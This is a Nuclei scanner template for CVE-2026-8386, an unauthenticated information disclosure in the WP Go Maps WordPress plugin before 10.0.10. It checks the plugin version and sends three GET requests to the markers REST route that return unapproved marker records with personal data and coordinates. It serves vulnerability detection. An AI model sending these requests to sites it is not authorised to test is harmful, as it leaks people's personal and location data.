id: CVE-2026-8386

info:
  name: WP Go Maps < 10.0.10 - Unauthenticated Marker Information Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
   WP Go Maps WordPress plugin <10.0.10 contains an information disclosure vulnerability caused by lack of approval-state filtering on the public single-marker REST endpoint, letting unauthenticated users access unapproved marker records including PII and geographic coordinates, exploit requires no authentication.
  impact: |
    Unauthenticated users can access sensitive unapproved marker data including PII and location coordinates.
  remediation: |
    Upgrade to version 10.0.10 or later.
  reference:
    - https://wpscan.com/vulnerability/fa7f5cb0-abe2-4079-9290-e0e4dc89f27f/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8386
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-8386
    epss-score: 0.007
    epss-percentile: 0.49597
    cwe-id: CWE-862
  metadata:
    verified: false
    max-request: 4
    fofa-query: body="/wp-content/plugins/wp-google-maps/"
    tags: cve,cve2026,wordpress,wp-plugin,wp-google-maps,disclosure,unauth,rest-api

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-google-maps/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP Go Maps") || contains(body, "WP Google Maps")'
          - 'compare_versions(lsversion, ">=1.0.0", "<=10.0.9")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        internal: true
        group: 1
        regex:
          - 'Stable tag: ([\d.]+)'

  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers/1/"
      - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers/2/"
      - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers/3/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "approved", "lat", "lng", "map_id")'
        condition: and
# digest: 4a0a0047304502207a7823375fde2feeb254924889b7a39c4de4499fc029168e5c0f0c5e268bb6b3022100ddde382bd259171b1fc21563ddcdb0d6f1ba5284d6ed9a20ef67d5e5700311d7:922c64590222798bb761d5b6d8e72950